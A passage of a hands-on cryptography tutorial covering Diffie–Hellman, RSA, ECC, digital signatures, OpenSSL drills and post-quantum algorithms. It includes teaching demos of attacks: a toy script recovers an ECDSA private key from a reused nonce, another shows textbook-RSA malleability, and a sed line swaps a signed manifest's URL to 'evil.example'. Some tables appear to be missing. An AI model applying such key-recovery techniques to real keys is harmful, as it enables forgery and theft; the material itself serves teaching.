head -2 priv.pem; echo "..."    # NEVER share this

# The public key is DERIVED from the private key -- not the other way around
openssl pkey -in priv.pem -pubout | diff - pub.pem && echo "same public key"

Chapter 18 — Diffie–Hellman key exchange

   1. Alice and Bob publicly agree on a common paint colour   (yellow).
   2. Each secretly picks a private colour and mixes it with yellow.
        Alice:  yellow + red    = orange       (she sends orange to Bob)
        Bob:    yellow + blue   = green         (he sends green to Alice)
   3. Each adds their OWN secret colour to the paint they RECEIVED.
        Alice:  green  + red    = brown
        Bob:    orange + blue   = brown
   4. Both now hold BROWN. The eavesdropper saw yellow, orange, and green --
      and cannot un-mix them to find red or blue, so cannot make brown.

   PUBLIC PARAMETERS (everyone knows these, they can be baked into a standard):
     p = a large prime          (toy value: 23)
     g = a generator            (toy value: 5)

   ALICE                                   BOB
     picks secret a = 6                      picks secret b = 15
     A = g^a mod p                           B = g^b mod p
       = 5^6  mod 23 = 8                       = 5^15 mod 23 = 19
     --- sends A = 8 ------------------->
                            <------------- sends B = 19 ---
     s = B^a mod p                           s = A^b mod p
       = 19^6 mod 23 = 2                       = 8^15 mod 23 = 2

   BOTH now share s = 2.  It works because  (g^a)^b = g^(ab) = (g^b)^a  mod p.

The property that makes DH special: forward secrecy

If Alice and Bob generate a fresh a and b for every session and throw them away afterwards, then:

   An attacker who records all the encrypted traffic today, and YEARS LATER
   steals Alice's long-term private key, STILL cannot decrypt that traffic.

   The session secret depended on ephemeral values that no longer exist.

This is forward secrecy (sometimes "perfect forward secrecy", PFS). It's why modern TLS always uses ephemeral Diffie–Hellman (ECDHE) and why RSA key exchange was removed entirely in TLS 1.3. The letter E on the end — DHE, ECDHE — means "ephemeral" and is the part that matters.

   DH   -- static, keys reused        -> NO forward secrecy   (don't)
   DHE  -- ephemeral, fresh per       -> forward secrecy       (finite-field)
           session
   ECDHE-- ephemeral, elliptic curve  -> forward secrecy, fast (USE THIS)

What DH does NOT give you

   DH gives you a shared secret with SOMEONE.
   It does not tell you WHO.

Raw DH is wide open to a man-in-the-middle: Mallory does a separate DH exchange with each of Alice and Bob, sits in the middle, and relays (re-encrypted) traffic. Both think they have a private channel; Mallory reads everything.

The fix is authentication: one or both parties sign their DH public value with a long-term key whose owner you can verify (via a certificate — Part 7, or a known SSH host key — Part 8). DH + signatures is the actual handshake.

cd ~/sec-lab/scratch

python3 - <<'PY'
# Toy DH by hand
p, g = 23, 5
a, b = 6, 15                                  # secrets
A, B = pow(g, a, p), pow(g, b, p)            # public values, sent on the wire
s_alice = pow(B, a, p)
s_bob   = pow(A, b, p)
print(f"A (Alice sends) = {A}")
print(f"B (Bob sends)   = {B}")
print(f"Alice computes s = {s_alice}")
print(f"Bob computes   s = {s_bob}")
assert s_alice == s_bob
print("shared secret:", s_alice)

# The eavesdropper's task: find 'a' such that 5^a mod 23 == 8  (discrete log)
for guess in range(p):
    if pow(g, guess, p) == A:
        print(f"eavesdropper brute-forced a = {guess} (trivial at p=23,")
        print(" utterly infeasible at p = 2^2048)")
        break
PY

cd ~/sec-lab/scratch
python3 -m venv .venv 2>/dev/null; .venv/bin/pip install -q cryptography

.venv/bin/python - <<'PY'
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey

alice = X25519PrivateKey.generate()
bob   = X25519PrivateKey.generate()

# each sends the other their PUBLIC key, then:
s_alice = alice.exchange(bob.public_key())
s_bob   = bob.exchange(alice.public_key())

print("Alice's shared secret:", s_alice.hex())
print("Bob's   shared secret:", s_bob.hex())
print("identical:", s_alice == s_bob, " length:", len(s_alice), "bytes")
# You'd now run this 32-byte secret through a KDF (HKDF) to get AEAD keys.
PY

Chapter 19 — RSA

   61 x 53 = 3233                    <- a child can do this
   factor 3233 -> ?                  <- have to search

   Now imagine each prime is ~1024 bits (~300 decimal digits).
   Multiplying: instant. Factoring: no classical computer will finish
   before the sun burns out.

   KEY GENERATION
     1. Pick two primes:        p = 61,  q = 53
     2. Modulus:                n = p*q = 3233
     3. Euler's totient:        phi = (p-1)(q-1) = 60*52 = 3120
     4. Pick public exponent:   e = 17          (must be coprime to phi;
                                                 real world: almost always 65537)
     5. Private exponent:       d = e^-1 mod phi = 2753
                                (check: 17 * 2753 = 46801 = 15*3120 + 1  OK)

     PUBLIC KEY  = (n=3233, e=17)
     PRIVATE KEY = (n=3233, d=2753)         [p, q, phi are kept or destroyed]

   ENCRYPT a message m = 65     (must have m < n)
     c = m^e mod n = 65^17 mod 3233 = 2790

   DECRYPT
     m = c^d mod n = 2790^2753 mod 3233 = 65      <- back to the original

   SIGN m = 65   (private-key operation -- the mirror of decryption)
     s = m^d mod n = 65^2753 mod 3233 = 588
   VERIFY
     m = s^e mod n = 588^17 mod 3233 = 65         <- matches, so signature valid

The parts you must never skip: padding

"Textbook RSA" — c = m^e mod n with no padding — is badly broken.

   - Deterministic: same message -> same ciphertext. Attacker can build a
     dictionary, or detect repeats.
   - Malleable: c1 * c2 mod n decrypts to m1 * m2. Attacker can manipulate
     plaintext without decrypting.
   - Small messages: if m^e < n (e.g. m=2, e=3), just take the cube root.

Real RSA wraps the message in a randomised, structured padding:

What RSA is actually used for

RSA does not encrypt your file. It encrypts (or "encapsulates") a small random symmetric key, which then encrypts the file. The maximum message size is tiny:

   RSA-2048 with OAEP-SHA256:  can encrypt at most 190 bytes.
   That is enough for an AES-256 key (32 bytes) and nothing more.
   This is BY DESIGN -- RSA is a key-transport mechanism, not a data cipher.

Uses today: TLS certificates and signatures (still the majority of the web's certs), code signing, JWT RS256, SSH keys, PGP.

Key sizes and the slow decline

Note how much key you need for relatively modest strength — and RSA operations get slow fast as the key grows. A 256-bit elliptic-curve key matches RSA-3072. That efficiency gap is why new systems pick ECC (Chapter 20).

RSA's real-world failure modes

Every one of these has caused real breaches:

   [ ] Weak randomness at key generation -> two keys share a prime -> both
       factor instantly (the 2012 "Mining your Ps and Qs" study found tens of
       thousands of such keys live on the internet).
   [ ] PKCS#1 v1.5 padding oracle (Bleichenbacher '98, revived as ROBOT 2017)
       -> decrypt or sign without the key.
   [ ] Using the SAME keypair for both encryption and signing.
   [ ] Small or shared public exponent (e = 3) with no/broken padding.
   [ ] Signature verification that doesn't check the padding structure
       -> forged signatures (the "BERserk" / e=3 class).
   [ ] Timing / power side channels during the private-key operation
       -> use a library with blinding.

cd ~/sec-lab/scratch

# --- the toy version, by hand ---
python3 - <<'PY'
def inv(a, m):
    g, x = m, 0
    x0, a0 = 1, a
    while a0:
        q = g // a0
        g, a0 = a0, g - q*a0
        x, x0 = x0, x - q*x0
    return x % m

p, q = 61, 53
n = p*q
phi = (p-1)*(q-1)
e = 17
d = inv(e, phi)
print(f"n={n}  phi={phi}  e={e}  d={d}")

m = 65
c = pow(m, e, n);  print(f"encrypt {m} -> {c}")
print(f"decrypt {c} -> {pow(c, d, n)}")
s = pow(m, d, n);  print(f"sign {m} -> {s}")
print(f"verify {s} -> {pow(s, e, n)}")

# malleability of TEXTBOOK RSA -- why padding exists
c2 = pow(2, e, n)
print(f"\n(c * enc(2)) mod n decrypts to {pow(c*c2, d, n)}  == 65*2 = 130")
print("attacker doubled the plaintext without decrypting. OAEP prevents this.")
PY

# --- real RSA with OpenSSL ---
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out rsa.pem
openssl pkey -in rsa.pem -pubout -out rsa.pub

# inspect it
openssl pkey -in rsa.pem -text -noout | head -20

# encrypt a SMALL secret with OAEP (this is real OpenSSL 3.x syntax)
echo -n "this is a 32-byte AES key ......." > aeskey.bin
openssl pkeyutl -encrypt -pubin -inkey rsa.pub -in aeskey.bin -out aeskey.enc \
        -pkeyopt rsa_padding_mode:oaep -pkeyopt rsa_oaep_md:sha256
openssl pkeyutl -decrypt -inkey rsa.pem -in aeskey.enc \
        -pkeyopt rsa_padding_mode:oaep -pkeyopt rsa_oaep_md:sha256

# sign a document with PSS
echo "transfer 100 to alice" > doc.txt
openssl dgst -sha256 -sign rsa.pem -sigopt rsa_padding_mode:pss -out doc.sig doc.txt
openssl dgst -sha256 -verify rsa.pub -sigopt rsa_padding_mode:pss \
        -signature doc.sig doc.txt        # -> "Verified OK"

# tamper and re-verify
echo "transfer 100 to mallory" > doc.txt
openssl dgst -sha256 -verify rsa.pub -sigopt rsa_padding_mode:pss \
        -signature doc.sig doc.txt        # -> "Verification Failure"

.venv/bin/python - <<'PY'
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = key.public_key()

# encrypt a 32-byte key with OAEP
secret = b"x" * 32
ct = pub.encrypt(secret, padding.OAEP(
        mgf=padding.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(), label=None))
print("ciphertext bytes:", len(ct))                 # 256 for RSA-2048
print("decrypts back:", key.decrypt(ct, padding.OAEP(
        mgf=padding.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(),
        label=None)) == secret)

# how big can the message be?
for size in (32, 190, 191, 245):
    try:
        pub.encrypt(b"x"*size, padding.OAEP(
            mgf=padding.MGF1(hashes.SHA256()),
            algorithm=hashes.SHA256(), label=None))
        print(f"  {size} bytes: OK")
    except ValueError:
        print(f"  {size} bytes: TOO BIG for RSA-2048 + OAEP-SHA256")
PY

Chapter 20 — Elliptic curve cryptography

Why bother — the size argument

   Security level     RSA / finite-field DH      Elliptic curve
   --------------     ---------------------      --------------
      ~80 bits              1024-bit                  160-bit
     ~112 bits              2048-bit                  224-bit
     ~128 bits              3072-bit                  256-bit      <- the sweet spot
     ~192 bits              7680-bit                  384-bit
     ~256 bits             15360-bit                  512-bit

A 256-bit ECC key matches a 3072-bit RSA key. Smaller keys mean smaller certificates, less bandwidth in every handshake, less storage on constrained devices, and much faster key generation and signing. On the modern web, most new certificates and virtually all key exchange are elliptic-curve.

   "Adding" a point P to itself k times is called SCALAR MULTIPLICATION:  k*P

   FORWARD:   given k and P, computing Q = k*P is fast.
   REVERSE:   given P and Q, finding k is the ELLIPTIC-CURVE DISCRETE
              LOGARITHM PROBLEM (ECDLP) -- and the best known attack is
              roughly the square root of the group size, nothing better.

   That "nothing better" is why ECC keys can be small: no sub-exponential
   factoring-style shortcut is known, unlike RSA and finite-field DH.

The curves you'll actually meet

   For NEW systems, the simple advice:
     Key exchange  -> X25519      (fall back to P-256 for compatibility)
     Signatures    -> Ed25519     (fall back to ECDSA P-256)

Why prefer 25519 over the NIST P-curves? The NIST curves have unexplained "random" constants, which fed (largely unproven) worry after the Dual_EC_DRBG backdoor. More concretely, the P-curves are hard to implement in constant time and have sharp edges (point validation, the k in ECDSA). Curve25519 was engineered so the safe implementation is the natural one.

ECDH — elliptic-curve Diffie–Hellman

Exactly the Chapter 18 protocol, with scalar multiplication instead of modular exponentiation:

   Alice: private a, public A = a*P
   Bob:   private b, public B = b*P
   Shared: a*B = a*(b*P) = b*(a*P) = b*A       -> same point, both sides

Ephemeral ECDH is ECDHE — the key exchange in every modern TLS and SSH session, providing the forward secrecy from Chapter 18.

ECDSA — and its one deadly footgun

ECDSA (the elliptic-curve signature algorithm) requires a random per-signature value k (a "nonce", confusingly — nothing to do with AEAD nonces).

   +--------------------------------------------------------------+
   |  If k is EVER reused for two different messages, OR if k is   |
   |  even slightly predictable, THE PRIVATE KEY CAN BE COMPUTED    |
   |  with simple algebra from the two signatures.                 |
   +--------------------------------------------------------------+

   Real incidents:
     * Sony PlayStation 3 (2010) -- Sony used a FIXED k. The ECDSA
       code-signing key was extracted. Total, permanent compromise.
     * Numerous Bitcoin wallet thefts from bad RNGs producing repeated k.
     * Android SecureRandom bug (2013) drained Bitcoin wallets.

The fix: deterministic ECDSA (RFC 6979) derives k from the private key and the message hash via HMAC, so it's unique and unpredictable without needing a good RNG at signing time. Use a library that does this. Or — better — use Ed25519, which is deterministic by construction and has no k to leak.

Ed25519 — the one to reach for

   + Deterministic       -> no RNG-at-signing footgun, no k reuse possible
   + Fast                 -> ~15,000+ sign/verify per second, easily
   + Small               -> 32-byte public key, 64-byte signature
   + Misuse-resistant     -> no parameter choices, no point-validation traps
   + Built-in hashing     -> you sign the message directly, not a pre-hash

   Used by: OpenSSH (default keytype since 2014), Signal, WireGuard, age,
            Tor, TLS 1.3 (Ed25519 certs), most Linux package signing,
            most modern language stdlibs.

cd ~/sec-lab/scratch

# --- Ed25519 with OpenSSL 3.x (works even on LibreSSL for Ed25519 gen/sign) ---
openssl genpkey -algorithm ed25519 -out ed.pem
openssl pkey -in ed.pem -pubout -out ed.pub
wc -c ed.pem ed.pub                       # tiny compared to RSA

echo "ship release v2.1.0" > release.txt
openssl pkeyutl -sign   -inkey ed.pem  -rawin -in release.txt -out release.sig
openssl pkeyutl -verify -pubin -inkey ed.pub -rawin -in release.txt \
        -sigfile release.sig              # -> "Signature Verified Successfully"

# tamper
echo "ship release v2.1.0 (backdoored)" > release.txt
openssl pkeyutl -verify -pubin -inkey ed.pub -rawin -in release.txt \
        -sigfile release.sig              # -> verification fails

# --- the k-reuse catastrophe, demonstrated ---
.venv/bin/python - <<'PY'
# Toy ECDSA over a small curve to show: reuse k -> recover the private key.
# Curve: y^2 = x^3 + 2x + 2 mod 17,  base point G=(5,1), order n=19
p, a, n = 17, 2, 19
G = (5, 1)

def inv(x, m): return pow(x, -1, m)
def add(P, Q):
    if P is None: return Q
    if Q is None: return P
    if P[0] == Q[0] and (P[1] + Q[1]) % p == 0: return None
    if P == Q:
        l = (3*P[0]*P[0] + a) * inv(2*P[1], p) % p
    else:
        l = (Q[1] - P[1]) * inv((Q[0] - P[0]) % p, p) % p
    x = (l*l - P[0] - Q[0]) % p
    return (x, (l*(P[0] - x) - P[1]) % p)
def mul(k, P):
    R = None
    while k:
        if k & 1: R = add(R, P)
        P = add(P, P); k >>= 1
    return R

priv = 7
pub  = mul(priv, G)

def sign(z, k):
    x1, _ = mul(k, G)
    r = x1 % n
    s = inv(k, n) * (z + r*priv) % n
    return r, s

k = 5                       # THE BUG: same k for both messages
z1, z2 = 3, 11              # two different message hashes
r1, s1 = sign(z1, k)
r2, s2 = sign(z2, k)
print(f"sig1 = (r={r1}, s={s1})")
print(f"sig2 = (r={r2}, s={s2})   note r1 == r2 -> k was reused")

# attacker's algebra:  k = (z1 - z2) / (s1 - s2) mod n
k_rec    = (z1 - z2) * inv((s1 - s2) % n, n) % n
priv_rec = (s1 * k_rec - z1) * inv(r1, n) % n
print(f"\nrecovered k    = {k_rec}   (real: {k})")
print(f"recovered priv = {priv_rec}   (real: {priv})")
print("PRIVATE KEY STOLEN from two signatures. This is the PS3 bug.")
PY

Chapter 21 — Digital signatures

   HMAC                              SIGNATURE
   ----                              ---------
   shared secret key                 private key signs / public key verifies
   either party can produce a tag    only the private-key holder can sign
   verifier could have forged it     verifier demonstrably could NOT have
   -> no non-repudiation             -> NON-REPUDIATION
   needs key pre-shared              public key can be published freely

   SIGNING                                VERIFYING
   -------                                ---------
   1. h = SHA-256(message)                1. h  = SHA-256(received message)
   2. sig = Sign(private_key, h)          2. h' = Verify(public_key, sig)
   3. send (message, sig)                 3. accept iff h == h'

   - A broken hash breaks the signature scheme. SHA-1 collisions (Ch 9) meant
     an attacker could get a benign document signed and swap in a malicious
     one with the same hash. This is why CAs abandoned SHA-1.
   - The signature size depends only on the algorithm, not the message.
     A 10 GB file and a 10-byte file get the same 64-byte Ed25519 signature.

The algorithms

What a signature does and does NOT prove

   PROVES:
     [x] the message wasn't altered after signing
     [x] whoever signed held the private key
     [x] (to a third party) that the key-holder signed -- non-repudiation

   DOES NOT PROVE:
     [ ] WHO the key-holder is         -> needs a certificate / web of trust
     [ ] WHEN it was signed            -> needs a trusted timestamp
     [ ] that the signer MEANT it / read it   ("what you see is what you sign")
     [ ] that the key isn't stolen or the signer isn't coerced
     [ ] freshness -- an old validly-signed message can be REPLAYED unless
         the signed content includes a nonce/timestamp

The gap between "valid signature" and "trustworthy message" is filled by PKI (Part 7) for identity, and by protocol design (nonces, timestamps, expiry) for freshness.

Where you'll use signatures

   TLS certificates        CA signs "this public key belongs to example.com"
   TLS handshake           server signs the ephemeral ECDHE params (authenticity)
   Code signing            Apple/Microsoft/distro signs binaries and packages
   Software updates        the update file is signed; the updater verifies
                             before installing (TUF, Sigstore)
   JWT (RS256/ES256/EdDSA) the token issuer signs the claims
   Git                     signed commits and tags (git commit -S)
   SSH                     server host key signs to prove identity; user key
                             signs to authenticate (Part 8)
   Blockchains             every transaction is a signature
   Secure boot             each stage verifies the next stage's signature

cd ~/sec-lab/scratch

# --- Ed25519 end to end ---
openssl genpkey -algorithm ed25519 -out signer.pem
openssl pkey -in signer.pem -pubout -out signer.pub

cat > update.json <<'EOF'
{"version":"4.2.0","url":"https://cdn.example.com/app-4.2.0.tar.gz",
 "sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"}
EOF

# sign
openssl pkeyutl -sign -inkey signer.pem -rawin -in update.json -out update.sig

# verify (this is what the updater does before trusting the manifest)
openssl pkeyutl -verify -pubin -inkey signer.pub -rawin -in update.json \
        -sigfile update.sig

# attacker swaps the download URL
sed -i.bak 's#cdn.example.com#evil.example#' update.json
openssl pkeyutl -verify -pubin -inkey signer.pub -rawin -in update.json \
        -sigfile update.sig            # FAILS -- the manifest is rejected

# --- MAC vs signature: the non-repudiation difference ---
.venv/bin/python - <<'PY'
import hmac, hashlib
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey

msg = b"Alice agrees to pay Bob 500."

# HMAC: Bob ALSO has the key, so Bob could have made this himself.
k = b"shared-key"
tag = hmac.new(k, msg, hashlib.sha256).hexdigest()
print("HMAC tag:", tag[:32], "...")
print("  -> a judge can't tell if Alice or Bob produced it. No non-repudiation.")

# Signature: only Alice has the private key.
alice = Ed25519PrivateKey.generate()
sig = alice.sign(msg)
alice.public_key().verify(sig, msg)      # raises if invalid
print("\nEd25519 signature verified against Alice's PUBLIC key.")
print("  -> only Alice's private key could produce it. Non-repudiation.")
PY

# --- signed Git commits ---
# git config --global user.signingkey <key>
# git config --global commit.gpgsign true      # or gpg.format ssh + user.signingkey
git init -q demo && cd demo
git config gpg.format ssh
git config user.signingkey "$PWD/../signer.pub"
git config gpg.ssh.allowedSignersFile /dev/null
echo hi > f && git add f
git -c commit.gpgsign=true commit -q -S -m "signed commit" 2>&1 | head -2 || true
git log --show-signature -1 2>&1 | head -8
cd ..

Chapter 22 — Hands-on: keys, signatures, and key exchange with OpenSSL

Why this chapter exists

Parts 7 and 8 (TLS, SSH) assume you can fluently generate keys, inspect them, sign, verify, and derive shared secrets. This is the drill. Do it end to end once and the rest of the guide gets easier.

The one setup step: get real OpenSSL

openssl version
# LibreSSL x.x.x   -> you are on macOS's build; several commands below WILL FAIL
# OpenSSL 3.x.x    -> you're good

# macOS fix:
brew install openssl@3
echo 'export PATH="'"$(brew --prefix openssl@3)"'/bin:$PATH"' >> ~/.zshrc
exec zsh
openssl version        # should now say OpenSSL 3.x

Everything below is written for OpenSSL 3.x.

1. Generate every key type

mkdir -p ~/sec-lab/keys && cd ~/sec-lab/keys

# RSA 2048 and 4096
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out rsa2048.pem
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out rsa4096.pem

# EC: NIST P-256 and P-384
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out ec256.pem
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-384 -out ec384.pem

# Modern: Ed25519 (signatures) and X25519 (key exchange)
openssl genpkey -algorithm ed25519 -out ed25519.pem
openssl genpkey -algorithm x25519  -out x25519.pem

# Derive every public key
for k in rsa2048 rsa4096 ec256 ec384 ed25519 x25519; do
  openssl pkey -in $k.pem -pubout -out $k.pub
done

ls -l *.pem *.pub        # note how much smaller the EC/25519 files are

2. Inspect keys

# human-readable dump
openssl pkey -in rsa2048.pem -text -noout | head -25
openssl pkey -in ec256.pem   -text -noout
openssl pkey -in ed25519.pem -text -noout

# just the key type and size
openssl pkey -in rsa4096.pem -noout -text | grep -i 'private-key'

# public key only
openssl pkey -in ec256.pem -pubout -text -noout

# convert PEM <-> DER
openssl pkey -in ec256.pem -outform DER -out ec256.der
openssl pkey -in ec256.der -inform DER -text -noout | head -3

# encrypt a private key at rest (you'll be prompted for a passphrase)
openssl pkey -in rsa2048.pem -aes-256-cbc -out rsa2048.enc.pem

3. Sign and verify

cd ~/sec-lab/keys
echo "release 5.0.0 build a1b2c3" > artifact.txt

# RSA-PSS
openssl dgst -sha256 -sign rsa2048.pem -sigopt rsa_padding_mode:pss \
        -out artifact.rsa.sig artifact.txt
openssl dgst -sha256 -verify rsa2048.pub -sigopt rsa_padding_mode:pss \
        -signature artifact.rsa.sig artifact.txt

# ECDSA P-256
openssl dgst -sha256 -sign ec256.pem -out artifact.ec.sig artifact.txt
openssl dgst -sha256 -verify ec256.pub -signature artifact.ec.sig artifact.txt

# Ed25519 (no -dgst; sign the raw message)
openssl pkeyutl -sign -inkey ed25519.pem -rawin -in artifact.txt \
        -out artifact.ed.sig
openssl pkeyutl -verify -pubin -inkey ed25519.pub -rawin -in artifact.txt \
        -sigfile artifact.ed.sig

# prove tampering is caught
echo "release 5.0.0 build DEADBEEF" > artifact.txt
openssl pkeyutl -verify -pubin -inkey ed25519.pub -rawin -in artifact.txt \
        -sigfile artifact.ed.sig      # fails

4. Key exchange (ECDH / X25519)

cd ~/sec-lab/keys

# Two parties each generate an X25519 keypair
openssl genpkey -algorithm x25519 -out alice.pem
openssl genpkey -algorithm x25519 -out bob.pem
openssl pkey -in alice.pem -pubout -out alice.pub
openssl pkey -in bob.pem   -pubout -out bob.pub

# Each derives the shared secret from their private key + the other's public key
openssl pkeyutl -derive -inkey alice.pem -peerkey bob.pub -out s_alice.bin
openssl pkeyutl -derive -inkey bob.pem   -peerkey alice.pub -out s_bob.bin

xxd s_alice.bin
xxd s_bob.bin
cmp s_alice.bin s_bob.bin && echo "SHARED SECRETS MATCH"

# Turn the raw secret into an actual AES key with a KDF (don't use it directly)
openssl kdf -keylen 32 -kdfopt digest:SHA256 \
  -kdfopt key:$(xxd -p -c256 s_alice.bin) \
  -kdfopt info:$(echo -n 'secureshop session key' | xxd -p) HKDF

5. Benchmark everything

openssl speed -seconds 2 rsa2048 rsa4096 ecdsap256 ed25519 2>/dev/null | tail -12
openssl speed -seconds 2 ecdhx25519 ecdhp256 2>/dev/null | tail -6

Read the table. Internalise these rough facts:

   * RSA signing is SLOW; RSA verifying is fast (asymmetric cost -- shapes
     protocols: you verify certs often, CAs sign rarely).
   * ECDSA / Ed25519 sign and verify are both fast and roughly balanced.
   * Ed25519 is typically the fastest signer.
   * X25519 key exchange is very cheap -- which is why every TLS 1.3
     connection can afford a fresh one (forward secrecy is basically free).

   Requirements:
   1. `keygen`  -> produces an Ed25519 signing keypair; stores the private key
                   encrypted with a passphrase.
   2. `sign <dir>` -> hashes every file in <dir> (SHA-256), writes a MANIFEST
                      file listing path + hash, then signs the MANIFEST.
   3. `verify <dir>` -> checks the MANIFEST signature against the public key,
                        then re-hashes every file and confirms it matches.
                        Any mismatch, missing file, or extra file = FAIL.

   Test it:
   - Happy path verifies.
   - Change one byte in one file -> verify fails, naming the file.
   - Add a file not in the manifest -> verify fails.
   - Corrupt the signature -> verify fails before hashing anything.
   - Sign with key A, verify with key B -> fails.

Chapter 23 — Why quantum computers break today's public-key crypto

What a quantum computer actually is (enough to reason about it)

   Classical bit:  0 or 1.
   Qubit:          a superposition -- amplitudes for BOTH 0 and 1 at once.

   n qubits represent 2^n amplitudes simultaneously. A quantum algorithm
   manipulates all of them in parallel, then uses INTERFERENCE to make the
   wrong answers cancel out and the right answer stand out when measured.

   This is NOT "tries every answer at once and picks one". Measurement
   collapses to a single value. The art is arranging the interference so
   that value is the one you want, with high probability.

It is not a faster classical computer. It's fast at a narrow set of problems with the right structure — and factoring and discrete-log have exactly that structure (periodicity).

Shor's algorithm — the crypto-breaker

Peter Shor showed in 1994 that a quantum computer can find the period of a function exponentially faster than any known classical method. Factoring and discrete-log both reduce to period-finding.

   PROBLEM                    CLASSICAL BEST           QUANTUM (Shor)
   -------                    --------------           --------------
   Factor a 2048-bit RSA      ~ 10^20 years            hours to days*
     modulus                   (sub-exponential)        (polynomial)
   Discrete log (DH)          same ballpark            same -- broken
   Elliptic-curve discrete    ~ 2^128 operations       broken; needs FEWER
     log (ECC)                                          qubits than RSA

   * on a cryptographically-relevant quantum computer (CRQC) that does
     not yet exist publicly. Recent resource estimates: under ~1 million
     noisy qubits for RSA-2048. Today's largest devices: ~1000-1500 qubits,
     far too noisy. The gap is large -- but engineering, not physics.

The consequence is total, not partial. A bigger RSA key doesn't help — Shor scales polynomially. RSA-4096 buys you almost nothing over RSA-2048 against a quantum attacker. ECC is worse off per bit: P-256 needs fewer logical qubits to break than RSA-2048.

Grover's algorithm — the mild one

Grover's algorithm searches an unstructured space of size N in about sqrt(N) steps. Applied to symmetric crypto and hashes:

   AES-128:  2^128 brute force  ->  ~2^64 quantum   -- UNCOMFORTABLE
   AES-256:  2^256 brute force  ->  ~2^128 quantum  -- STILL FINE

   SHA-256 preimage: 2^256      ->  ~2^128 quantum  -- STILL FINE
   SHA-256 collision: 2^128     ->  ~2^85 quantum   -- fine (and Grover
                                    barely helps collisions in practice)

The fix is trivial: double the key size. Use AES-256, SHA-384/SHA-512. That's the entire post-quantum story for symmetric crypto — which is why this guide told you to pick AES-256 back in Chapter 13.

   +------------------------------------------------------------------+
   |  QUANTUM IMPACT SUMMARY                                           |
   |                                                                  |
   |  Public-key (RSA, DH, ECDH, ECDSA, EdDSA)  ->  BROKEN. Replace.   |
   |  Symmetric (AES)                           ->  use 256-bit. Done. |
   |  Hashes (SHA-2, SHA-3)                     ->  use >= 384-bit     |
   |                                                output. Done.      |
   +------------------------------------------------------------------+

"Harvest now, decrypt later" — why this is urgent today

You might think: "no quantum computer exists, so I have years." For confidentiality, that reasoning is wrong.

   1. TODAY:  an adversary records your encrypted traffic (or steals
              encrypted backups) and stores it. Cheap. Nation-states are
              widely assumed to be doing this at scale already.

   2. LATER:  a CRQC arrives (estimates cluster around the 2030s).

   3. THEN:   they run Shor on the recorded key exchanges, recover the
              session keys, and decrypt everything from step 1
              retroactively.

This is HNDL (harvest now, decrypt later), also called store-now-decrypt- later. The question that matters:

Does any data you send today still need to be secret in 2035?

Health records, state secrets, source code, legal documents, long-lived credentials, biometric templates — yes. For those, the migration deadline is now, not "when quantum computers arrive".

For signatures and authentication, HNDL doesn't apply the same way — a signature forged in 2035 can't retroactively authenticate a 2026 TLS handshake. So signature migration is important but less time-critical than key exchange.

The official timelines

Chapter 24 — The post-quantum algorithms

The NIST standards (finalised August 2024)

Plus, selected in 2025 as a backup KEM on different maths:

| | HQC | Code-based (error-correcting codes) | ML-KEM backup — standard drafting now |

"ML" = Module-Lattice. "SLH" = StateLess Hash-based. "FN" = Fast Fourier over NTRU lattices.

The core idea: lattice problems

Most of the new standards rest on the difficulty of problems in lattices — a regular grid of points in high-dimensional space.

   Given a lattice (defined by some basis vectors) and a point that is
   NEAR a lattice point but not exactly on one:

     * SHORTEST VECTOR PROBLEM (SVP): find the shortest non-zero lattice vector
     * CLOSEST VECTOR PROBLEM (CVP): find the lattice point nearest the target
     * LEARNING WITH ERRORS (LWE):   solve linear equations that have small
                                     random "errors" added -- recovering the
                                     secret is as hard as lattice problems

   In 2 or 3 dimensions this is easy to eyeball. In 500+ dimensions with a
   "bad" basis, the best known algorithms -- classical OR quantum -- take
   exponential time. Crucially, Shor's period-finding does NOT apply.

ML-KEM and ML-DSA use a structured variant (Module-LWE) for efficiency. The structure is a mild theoretical risk (maybe it enables an attack nobody's found yet) — which is exactly why NIST also standardised hash-based SLH-DSA and selected code-based HQC. Different maths, so a break in one doesn't break the others.

ML-KEM (FIPS 203) — the key-exchange replacement

A KEM works slightly differently from Diffie–Hellman:

   DIFFIE-HELLMAN                    KEM (Key Encapsulation Mechanism)
   -------------                     --------------------------------
   both send a public value,        recipient publishes a public key.
   both derive the same secret      sender ENCAPSULATES: generates a random
                                    shared secret + a ciphertext that only
                                    the recipient's private key can open.
                                    Sender: (shared_secret, ciphertext)
                                    Recipient: decapsulate(ciphertext, sk)
                                               -> same shared_secret

Parameter sets (pick by security category; 768 is the recommended default):

Compare: an X25519 public key is 32 bytes. ML-KEM-768's is 1184 — ~37x larger. That size growth, multiplied across every TLS handshake on earth, is the main cost of the transition. Still small in absolute terms, and speed is competitive with (often faster than) X25519.

ML-DSA (FIPS 204) — the default signature replacement

Compare: Ed25519 is a 32-byte key and 64-byte signature. ML-DSA-65 is ~60x and ~50x bigger. For a TLS certificate chain (leaf + intermediate, each with a key and a signature), that's several extra kilobytes per handshake — enough to matter for QUIC's first flight and for constrained IoT.

SLH-DSA (FIPS 205) — the conservative signature

Built only from hash functions (Chapter 8–9). If SHA-2/SHA-3 are secure, SLH-DSA is secure — no lattice assumptions at all. The price:

   + Rock-solid security foundation (just needs a good hash)
   + Tiny public keys (32-64 bytes)
   + Stateless (unlike older hash-based schemes XMSS/LMS, which are
     catastrophic if you reuse state)
   - HUGE signatures: 7,856 bytes ("s" small variants) up to ~49,000 bytes
   - SLOW signing: milliseconds to tens of ms (100-1000x slower than ML-DSA)

   Use it for: firmware/boot signing, CA root signatures, code signing --
   things signed rarely, verified occasionally, and needing to stay valid
   for decades. NOT for per-connection TLS handshake signatures.

Naming: SLH-DSA-SHA2-128s = SHA-2, 128-bit security, small-signature (slow) variant; ...128f = fast-signing (bigger signature) variant.

FN-DSA / Falcon (FIPS 206, draft) — compact lattice signatures

